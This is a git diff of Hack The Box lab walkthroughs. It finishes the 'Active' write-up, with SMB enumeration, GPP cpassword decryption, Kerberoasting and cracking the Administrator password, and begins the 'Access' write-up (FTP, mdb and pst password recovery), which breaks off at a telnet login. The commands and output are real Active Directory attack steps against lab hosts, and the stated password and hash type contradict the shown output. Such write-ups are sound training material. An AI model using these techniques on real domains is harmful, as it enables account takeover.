53/tcp open domain + 88/tcp open kerberos-sec + 135/tcp open msrpc + 139/tcp open netbios-ssn + 389/tcp open ldap + 445/tcp open microsoft-ds + 49152/tcp open unknown + 49153/tcp open unknown + 49154/tcp open unknown + 49155/tcp open unknown + 49157/tcp open unknown + + Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds + + +We are going to take a closer look at the ports 53, 80, 135, 139, 389, 445, using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~ ] + → nmap -sC -sV -Pn 10.10.10.100 -p 53,88,135,139,389,445 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-28 10:29 CET + Nmap scan report for 10.10.10.100 + Host is up (0.086s latency). + + PORT STATE SERVICE VERSION + 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) + | dns-nsid: + |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) + 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-11-28 09:30:01Z) + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) + 445/tcp open microsoft-ds? + Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: 17s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled and required + | smb2-time: + | date: 2019-11-28T09:30:07 + |_ start_date: 2019-11-28T09:25:41 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 20.66 seconds + + + +## **Part 2 : Getting User Access** + +To enumerate the SMB Shares we'll be working with, we will use the enum4linux tool. + + + λ nihilist [ 10.10.14.48/23 ] [ ~ ] + → enum4linux 10.10.10.100 + Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Nov 28 10:52:05 2019 + + ========================== + | Target Information | + ========================== + Target ........... 10.10.10.100 + RID Range ........ 500-550,1000-1050 + Username ......... '' + Password ......... '' + Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none + + + ==================================================== + | Enumerating Workgroup/Domain on 10.10.10.100 | + ==================================================== + Cant load /etc/samba/smb.conf - run testparm to debug it + [E] Cant find workgroup/domain + + + ============================================ + | Nbtstat Information for 10.10.10.100 | + ============================================ + Cant load /etc/samba/smb.conf - run testparm to debug it + Looking up status of 10.10.10.100 + No reply from 10.10.10.100 + + ===================================== + | Session Check on 10.10.10.100 | + ===================================== + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 437. + [+] Server 10.10.10.100 allows sessions using username '', password '' + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 451. + [+] Got domain/workgroup name: + + =========================================== + | Getting domain SID for 10.10.10.100 | + =========================================== + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 359. + Unable to initialize messaging context + rpcclient: Cant load /etc/samba/smb.conf - run testparm to debug it + [+] Cant determine if host is part of domain or part of a workgroup + + ====================================== + | OS information on 10.10.10.100 | + ====================================== + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 458. + Use of uninitialized value $os_info in concatenation (.) or string at /bin/enum4linux line 464. + [+] Got OS info for 10.10.10.100 from smbclient: + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 467. + [+] Got OS info for 10.10.10.100 from srvinfo: + Unable to initialize messaging context + rpcclient: Cant load /etc/samba/smb.conf - run testparm to debug it + + ============================= + | Users on 10.10.10.100 | + ============================= + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 866. + Use of uninitialized value $users in print at /bin/enum4linux line 874. + Use of uninitialized value $users in pattern match (m//) at /bin/enum4linux line 877. + + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 881. + Use of uninitialized value $users in print at /bin/enum4linux line 888. + Use of uninitialized value $users in pattern match (m//) at /bin/enum4linux line 890. + + ========================================= + | Share Enumeration on 10.10.10.100 | + ========================================= + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 640. + Unable to initialize messaging context + smbclient: Cant load /etc/samba/smb.conf - run testparm to debug it + do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) + + Sharename Type Comment + --------- ---- ------- + ADMIN$ Disk Remote Admin + C$ Disk Default share + IPC$ IPC Remote IPC + NETLOGON Disk Logon server share + Replication Disk + SYSVOL Disk Logon server share + Users Disk + Reconnecting with SMB1 for workgroup listing. + Unable to connect with SMB1 -- no workgroup available + + [+] Attempting to map shares on 10.10.10.100 + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 654. + //10.10.10.100/ADMIN$ Mapping: DENIED, Listing: N/A + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 654. + //10.10.10.100/C$ Mapping: DENIED, Listing: N/A + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 654. + //10.10.10.100/IPC$ Mapping: OK Listing: DENIED + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 654. + //10.10.10.100/NETLOGON Mapping: DENIED, Listing: N/A + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 654. + //10.10.10.100/Replication Mapping: OK, Listing: OK + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 654. + //10.10.10.100/SYSVOL Mapping: DENIED, Listing: N/A + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 654. + //10.10.10.100/Users Mapping: DENIED, Listing: N/A + + ==================================================== + | Password Policy Information for 10.10.10.100 | + ==================================================== + [E] Unexpected error from polenum: + Traceback (most recent call last): + File "/usr/bin/polenum", line 16, in + from impacket.dcerpc.v5.rpcrt import DCERPC_v5 + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 501. + ImportError: No module named impacket.dcerpc.v5.rpcrt + [+] Retieved partial password policy with rpcclient: + + + + ============================== + | Groups on 10.10.10.100 | + ============================== + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 542. + + [+] Getting builtin groups: + + [+] Getting builtin group memberships: + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 542. + + [+] Getting local groups: + + [+] Getting local group memberships: + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 593. + + [+] Getting domain groups: + + [+] Getting domain group memberships: + + ======================================================================= + | Users on 10.10.10.100 via RID cycling (RIDS: 500-550,1000-1050) | + ======================================================================= + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 710. + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 710. + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 710. + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 710. + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 710. + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 710. + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 710. + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 742. + + ============================================= + | Getting printer info for 10.10.10.100 | + ============================================= + Use of uninitialized value $global_workgroup in concatenation (.) or string at /bin/enum4linux line 991. + Unable to initialize messaging context + rpcclient: Cant load /etc/samba/smb.conf - run testparm to debug it + + + enum4linux complete on Thu Nov 28 10:53:01 2019 + + + +We seem to have access to the Replication Share, so we will navigate to it in order to see what we can work with. + + + λ root [ 10.10.14.48/23 ] [/home/nihilist] → smbclient -N -U "" //10.10.10.100/Replication + Unable to initialize messaging context + smbclient: Cant load /etc/samba/smb.conf - run testparm to debug it + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Sat Jul 21 12:37:44 2018 + .. D 0 Sat Jul 21 12:37:44 2018 + active.htb D 0 Sat Jul 21 12:37:44 2018 + + 10459647 blocks of size 4096. 4931286 blocks available + smb: \> cd active.htb + smb: \active.htb\> ls + . D 0 Sat Jul 21 12:37:44 2018 + .. D 0 Sat Jul 21 12:37:44 2018 + DfsrPrivate DHS 0 Sat Jul 21 12:37:44 2018 + Policies D 0 Sat Jul 21 12:37:44 2018 + scripts D 0 Wed Jul 18 20:48:57 2018 + + 10459647 blocks of size 4096. 4931286 blocks available + smb: \active.htb\> cd scripts + smb: \active.htb\scripts\> ls + . D 0 Wed Jul 18 20:48:57 2018 + .. D 0 Wed Jul 18 20:48:57 2018 + + 10459647 blocks of size 4096. 4931286 blocks available + smb: \active.htb\scripts\> cd .. + smb: \active.htb\> cd DfsPrivate + cd \active.htb\DfsPrivate\: NT_STATUS_OBJECT_NAME_NOT_FOUND + smb: \active.htb\> ls + . D 0 Sat Jul 21 12:37:44 2018 + .. D 0 Sat Jul 21 12:37:44 2018 + DfsrPrivate DHS 0 Sat Jul 21 12:37:44 2018 + Policies D 0 Sat Jul 21 12:37:44 2018 + scripts D 0 Wed Jul 18 20:48:57 2018 + + 10459647 blocks of size 4096. 4931286 blocks available + smb: \active.htb\> cd Policies + smb: \active.htb\Policies\> ls + . D 0 Sat Jul 21 12:37:44 2018 + .. D 0 Sat Jul 21 12:37:44 2018 + {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat Jul 21 12:37:44 2018 + {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat Jul 21 12:37:44 2018 + + 10459647 blocks of size 4096. 4931286 blocks available + smb: \active.htb\Policies\> cd {31B2F340-016D-11D2-945F-00C04FB984F9} + smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> ls + . D 0 Sat Jul 21 12:37:44 2018 + .. D 0 Sat Jul 21 12:37:44 2018 + GPT.INI A 23 Wed Jul 18 22:46:06 2018 + Group Policy D 0 Sat Jul 21 12:37:44 2018 + MACHINE D 0 Sat Jul 21 12:37:44 2018 + USER D 0 Wed Jul 18 20:49:12 2018 + + 10459647 blocks of size 4096. 4931286 blocks available + smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cd MACHINE + smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> ls + . D 0 Sat Jul 21 12:37:44 2018 + .. D 0 Sat Jul 21 12:37:44 2018 + Microsoft D 0 Sat Jul 21 12:37:44 2018 + Preferences D 0 Sat Jul 21 12:37:44 2018 + Registry.pol A 2788 Wed Jul 18 20:53:45 2018 + + 10459647 blocks of size 4096. 4931286 blocks available + smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> cd Preferences + smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\> ls + . D 0 Sat Jul 21 12:37:44 2018 + .. D 0 Sat Jul 21 12:37:44 2018 + Groups D 0 Sat Jul 21 12:37:44 2018 + c + 10459647 blocks of size 4096. 4931286 blocks available + smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\> cd Groups + smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls + . D 0 Sat Jul 21 12:37:44 2018 + .. D 0 Sat Jul 21 12:37:44 2018 + Groups.xml A 533 Wed Jul 18 22:46:06 2018 + + 10459647 blocks of size 4096. 4931286 blocks available + smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml + getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec) + smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> exit + + + +Opening up the groups.xml file we see that we have a hashed password to work with. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Active] → cat Groups.xml + <****?xml version="1.0" encoding="utf-8"?****> <****Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"> <****User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"> <****Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/> + <****/Groups> + +We seem to have a hashed password and a Username : SVC_TGS + + + cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" + + +We will be using the gpp-decrypt tool in order to decrypt the hashed password. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Active] → gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ + /usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated + GPPstillStandingStrong2k18 + + +And we now have the credentials **SVC_TGS:GPPstillStandingStrong2k18** ! Let's see if we can login. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Active] → smbclient -U svc_tgs //10.10.10.100/Users + Unable to initialize messaging context + smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it + Enter WORKGROUP\svc_tgs's password: + Try "help" to get a list of possible commands. + smb: \> whoami + whoami: command not found + smb: \> id + id: command not found + smb: \> ls + . DR 0 Sat Jul 21 16:39:20 2018 + .. DR 0 Sat Jul 21 16:39:20 2018 + Administrator D 0 Mon Jul 16 12:14:21 2018 + All Users DHS 0 Tue Jul 14 07:06:44 2009 + Default DHR 0 Tue Jul 14 08:38:21 2009 + Default User DHS 0 Tue Jul 14 07:06:44 2009 + desktop.ini AHS 174 Tue Jul 14 06:57:55 2009 + Public DR 0 Tue Jul 14 06:57:55 2009 + SVC_TGS D 0 Sat Jul 21 17:16:32 2018 + + 10459647 blocks of size 4096. 4924856 blocks available + smb: \> cd SVC_TGS + smb: \SVC_TGS\> ls + . D 0 Sat Jul 21 17:16:32 2018 + .. D 0 Sat Jul 21 17:16:32 2018 + Contacts D 0 Sat Jul 21 17:14:11 2018 + Desktop D 0 Sat Jul 21 17:14:42 2018 + Downloads D 0 Sat Jul 21 17:14:23 2018 + Favorites D 0 Sat Jul 21 17:14:44 2018 + Links D 0 Sat Jul 21 17:14:57 2018 + My Documents D 0 Sat Jul 21 17:15:03 2018 + My Music D 0 Sat Jul 21 17:15:32 2018 + My Pictures D 0 Sat Jul 21 17:15:43 2018 + My Videos D 0 Sat Jul 21 17:15:53 2018 + Saved Games D 0 Sat Jul 21 17:16:12 2018 + Searches D 0 Sat Jul 21 17:16:24 2018 + + 10459647 blocks of size 4096. 4924856 blocks available + smb: \SVC_TGS\> cd Desktop + smb: \SVC_TGS\Desktop\> ls + . D 0 Sat Jul 21 17:14:42 2018 + .. D 0 Sat Jul 21 17:14:42 2018 + user.txt A 34 Sat Jul 21 17:06:25 2018 + + 10459647 blocks of size 4096. 4924856 blocks available + smb: \SVC_TGS\Desktop\> get user.txt + getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) + smb: \SVC_TGS\Desktop\> exit + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Active] → cat user.txt + 86XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to log in as the user SVC_TGS and print out the user flag. + +## **Part 3 : Getting Root Access** + +Earlier our nmap scan picked up the 88th port running the kerberos service. so we will run the python script **kerberoastv2.py** + + + λ root [ 10.10.14.48/23 ] [_HTB/Active/PyKerberoast] at  master ✔ + → python2 kerberoastv2.py -a 10.10.10.100 -b cn=users,dc=active,dc=htb -d active -u svc_tgs -p GPPstillStandingStrong2k18 > HASH.txt + + λ root [ 10.10.14.48/23 ] [_HTB/Active/PyKerberoast] at  master ✔ + → cat HASH.txt + + [+]Starting... + $krb5tgs$18$*krbtgt$ACTIVE.HTB$spn*$cabf481b2b4dbd9567c5bee15e9d2ec9$04f2407e7fadab18a8f8ebda0e66af92e91c305098340e701383738a9cd317b15024815917af864e679ae02f8b610e18842308a54a9f0a2095ab688a972c5e03903f5d2cbf2d72cc5894ff6fa45413b95a1c94ee8fd1c9e8990c95748ba93a83bc078b3653b678a60fa0eb42cdaccdb3b4e5d5d97925676059c5b3495ce37a1fc964cf7cdeba452811d52a103633ffc5033709c3a2ac0f4f0a6aa06700b2817956c37c2f20e4ef5684b41d3f87e3f7fd80ed51088ef648f874b5fe113b5da0ebe5c7e77d63945ca190bb1dab377f75f6da85cbc261635fefdd42e621ac711c26c87d99b761941330e010fec48fd06219cd1aa7a8e91c9b0f36728ca30e68128db767e2e54c57d185b0700c03e7eb66fa62903971cdca7d481e4d4db09cc22a943ddb8ead77b4a2f2fc5cac6f34a6af8e796b5dd9f2e4310af99271a64af70c2c3aacfb8820b805d8efb3899e7a4d22c5adbf33f970e8fa7ce8ea79ad83a265aa3a4af2464d7cb296333199251a27f2fc189935f87c116e9143accd254ba4fb5d2a6f80af535076afbf8a89bea83941f703d312605d7fadc5d6583c9a86463ddc69165bdb0aabeab30edee51032dc160e3e349eb2f0c465f891015b7a127c9ef47949fdba2c1e2392d0cee6d03f54e5d36e63be681d1d2ad084c0f892b447352039488f21c184d7d0d5d68c0f15197579217ac48d3f1770710e5e0af95140d7394aae11371fd098b9591a1f6de4d4448db180a612917a8b0309e1b1a443d52d40f974e1036406c0aacf46b3be2286408cacd0c55a0e3146e7226cf6ab9c5d1b2af6939eac9c750c652f02925ab0549c3fd56f3655ceb37ec368dc24c034e6030a1b25dac3691e80098547a08b638560f2ffd37dcde83df28152fcbc9a93d9ef11a2e84f5b8efd3c8489983dceb394d22969d9c86b06af4b6633c55d86f61d1feac5dd4c541fa4e405b2b2e5fc41622833a45026dfef1e7a04b0577f2b5229b68e12af85af2cc074c3aae267c1c942cea9bcb21640bd2d0fe75996f93623e5cbaab186b7cedef4c1db1240b5c8cbb486f50bc7fafed38cd40a7605a6511d0cd393c8aa1c0387c7df9bd8c9a3f3af3eb2fe6341a88c6fac220f53725cd574f92c75e1f1a47be01a1a6bbf865fef2a681b981f2a2cf126797b7fcab95315c430f46e6140266d693e41dfb964c5f80e88ebb6c04cbe6299ef0f5cab31e8e75278474633d33251029cf0cdd2c40fe4678581ecdd193b7eac40 + + + +now we have a ticket for the admin user ! we just need to run john in combination with rockyou.txt to find the password. + + + john -w=rockyou.txt HASH.txt + Using default input encoding: UTF-8 + Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) + Will run 2 OpenMP threads + Press 'q' or Ctrl-C to abort, almost any other key for status + + **Ticketmaster1968 (?)** + + 1g 0:00:00:39 DONE (2019-11-28 13:34) 0.02515g/s 265093p/s 265093c/s 265093C/s Tiffani1432..Tiago_18 + Use the "--show" option to display all of the cracked passwords reliably + Session completed + + + +Now we have the Administrator password ! Let's try to login using our newly acquired credentials : **Administrator:Ticketmaster1986** + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Active] → smbclient -U administrator //10.10.10.100/Users + Unable to initialize messaging context + smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it + Enter WORKGROUP\administrator's password: + Try "help" to get a list of possible commands. + smb: \> ls + . DR 0 Sat Jul 21 16:39:20 2018 + .. DR 0 Sat Jul 21 16:39:20 2018 + Administrator D 0 Mon Jul 16 12:14:21 2018 + All Users DHS 0 Tue Jul 14 07:06:44 2009 + Default DHR 0 Tue Jul 14 08:38:21 2009 + Default User DHS 0 Tue Jul 14 07:06:44 2009 + desktop.ini AHS 174 Tue Jul 14 06:57:55 2009 + Public DR 0 Tue Jul 14 06:57:55 2009 + SVC_TGS D 0 Sat Jul 21 17:16:32 2018 + + 10459647 blocks of size 4096. 4924582 blocks available + smb: \> cd Administrator + smb: \Administrator\> ls + . D 0 Mon Jul 16 12:14:21 2018 + .. D 0 Mon Jul 16 12:14:21 2018 + AppData DH 0 Mon Jul 16 12:14:15 2018 + Application Data DHS 0 Mon Jul 16 12:14:15 2018 + Contacts DR 0 Mon Jul 30 15:50:10 2018 + Cookies DHS 0 Mon Jul 16 12:14:15 2018 + Desktop DR 0 Mon Jul 30 15:50:10 2018 + Documents DR 0 Mon Jul 30 15:50:10 2018 + Downloads DR 0 Mon Jul 30 15:50:27 2018 + Favorites DR 0 Mon Jul 30 15:50:10 2018 + Links DR 0 Mon Jul 30 15:50:10 2018 + Local Settings DHS 0 Mon Jul 16 12:14:15 2018 + Music DR 0 Mon Jul 30 15:50:10 2018 + My Documents DHS 0 Mon Jul 16 12:14:15 2018 + NetHood DHS 0 Mon Jul 16 12:14:15 2018 + NTUSER.DAT AHS 524288 Mon Jul 30 19:21:29 2018 + ntuser.dat.LOG1 AHS 262144 Thu Nov 28 11:26:05 2019 + ntuser.dat.LOG2 AHS 0 Mon Jul 16 12:14:09 2018 + NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf AHS 65536 Mon Jul 16 12:14:15 2018 + NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms AHS 524288 Mon Jul 16 12:14:15 2018 + NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms AHS 524288 Mon Jul 16 12:14:15 2018 + ntuser.ini HS 20 Mon Jul 16 12:14:15 2018 + Pictures DR 0 Mon Jul 30 15:50:10 2018 + PrintHood DHS 0 Mon Jul 16 12:14:15 2018 + Recent DHS 0 Mon Jul 16 12:14:15 2018 + Saved Games DR 0 Mon Jul 30 15:50:10 2018 + Searches DR 0 Mon Jul 30 15:50:10 2018 + SendTo DHS 0 Mon Jul 16 12:14:15 2018 + Start Menu DHS 0 Mon Jul 16 12:14:15 2018 + Templates DHS 0 Mon Jul 16 12:14:15 2018 + Videos DR 0 Mon Jul 30 15:50:10 2018 + + 10459647 blocks of size 4096. 4924582 blocks available + smb: \Administrator\> cd Desktop + smb: \Administrator\Desktop\> ls + . DR 0 Mon Jul 30 15:50:10 2018 + .. DR 0 Mon Jul 30 15:50:10 2018 + desktop.ini AHS 282 Mon Jul 30 15:50:10 2018 + root.txt A 34 Sat Jul 21 17:06:07 2018 + + 10459647 blocks of size 4096. 4924582 blocks available + smb: \Administrator\Desktop\> get root.txt + getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) + smb: \Administrator\Desktop\> exit + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Active] → cat root.txt + b5XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it ! The credentials gave us access to the Administrator User, and therefore we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/21_graph.png) + diff --git a/Easy/22.md b/Easy/22.md new file mode 100644 index 0000000..b7ef1fb --- /dev/null +++ b/Easy/22.md @@ -0,0 +1,382 @@ +# Access Writeup + +![](img/22.png) + +## Introduction : + +Access is an easy Windows box that was released back in September 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Access ] + → nmap 10.10.10.98 -F + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-03 11:18 CET + Nmap scan report for 10.10.10.98 + Host is up (0.086s latency). + Not shown: 97 filtered ports + PORT STATE SERVICE + 21/tcp open ftp + 23/tcp open telnet + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds + + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Access ] + → nmap -sCV 10.10.10.98 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-03 12:30 CET + Nmap scan report for 10.10.10.98 + Host is up (0.090s latency). + Not shown: 997 filtered ports + PORT STATE SERVICE VERSION + 21/tcp open ftp Microsoft ftpd + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + |_Cant get directory listing: PASV failed: 425 Cannot open data connection. + | ftp-syst: + |_ SYST: Windows_NT + 23/tcp open telnet? + 80/tcp open http Microsoft IIS httpd 7.5 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/7.5 + |_http-title: MegaCorp + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 192.73 seconds + + + +## **Part 2 : Getting User Access** + +We see that our previous nmap scan came back with the ftp port opened, which seems to allow for anonymous logins so let's connect to it and see what we can do here. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + → ftp 10.10.10.98 + Connected to 10.10.10.98. + 220 Microsoft FTP Service + Name (10.10.10.98:nihilist): anonymous + 331 Anonymous access allowed, send identity (e-mail name) as password. + Password: + 230 User logged in. + Remote system type is Windows_NT. + ftp> ls + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 08-23-18 08:16PM <****DIR> Backups + 08-24-18 09:00PM <****DIR> Engineer + 226 Transfer complete. + +We have been able to login ! now let's see what lies within the Engineer and Backups folders. + + + ftp> cd backups + 250 CWD command successful. + ftp> ls + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 08-23-18 08:16PM 5652480 backup.mdb + 226 Transfer complete. + ftp> get backup.mdb + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + cd .. + WARNING! 28296 bare linefeeds received in ASCII mode + File may not have transferred correctly. + 226 Transfer complete. + 5652480 bytes received in 10.4 seconds (531 kbytes/s) + ftp> cd .. + 250 CWD command successful. + ftp> ls + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 08-23-18 08:16PM <****DIR> Backups + 08-24-18 09:00PM <****DIR> Engineer + 226 Transfer complete. + ftp> cd Engineer + 250 CWD command successful. + ftp> ls + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 08-24-18 12:16AM 10870 Access Control.zip + 226 Transfer complete. + ftp> get Access\ Control.zip + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + WARNING! 45 bare linefeeds received in ASCII mode + File may not have transferred correctly. + 226 Transfer complete. + 10870 bytes received in 0.247 seconds (43 kbytes/s) + ftp> ls + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 08-24-18 12:16AM 10870 Access Control.zip + 226 Transfer complete. + ftp> quit + 221 Goodbye. + +We have been able to download a zip file named "Access Control" and a mdb file named "Backup" let's see if we can extract the contents of the zip file using the 7z command. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Access ] + → 7z x Access\ Control.zip + + 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 + p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) + + Scanning the drive for archives: + 1 file, 10870 bytes (11 KiB) + + Extracting archive: Access Control.zip + -- + Path = Access Control.zip + Type = zip + Physical Size = 10870 + + + Enter password (will not be echoed): + ERROR: Wrong password : Access Control.pst + + Sub items Errors: 1 + + Archives with Errors: 1 + + Sub items Errors: 1 + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Access ] + → ls + 'Access Control.pst' 'Access Control.zip' backup.mdb + + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Access ] + → file backup.mdb + backup.mdb: Microsoft Access Database + + +We use a hex editor to see that we find a suspect string, which is actually a password to work with : access4u@security + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Access ] + → 7z x Access\ Control.zip -paccess4u@security + + 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 + p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) + + Scanning the drive for archives: + 1 file, 10870 bytes (11 KiB) + + Extracting archive: Access Control.zip + -- + Path = Access Control.zip + Type = zip + Physical Size = 10870 + + Everything is Ok + + Size: 271360 + Compressed: 10870 + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Access ] + → ls + 'Access Control.pst' 'Access Control.zip' backup.mdb + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Access ] + → file Access\ Control.pst + Access Control.pst: Microsoft Outlook email folder (>=2003) + + + +it worked ! now we have a new file to work with : Access Control.pst Which seems to be a MS Outlook email folder. We simply need to use a pst-reading tool named [readpst](https://www.five-ten-sg.com/libpst/rn01re01.html), which is basically made to extract a the .mbox file out of any .pst formatted-file. Which then in turn gives us yet another password to work with : 4Cc3ssC0ntr0ller. We now have potential credentials : security:4Cc3ssC0ntr0ller + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Access] → telnet 10.10.10.98 + Trying 10.10.10.98... + Connected to 10.10.10.98. + Escape character is '^]'. + Welcome to 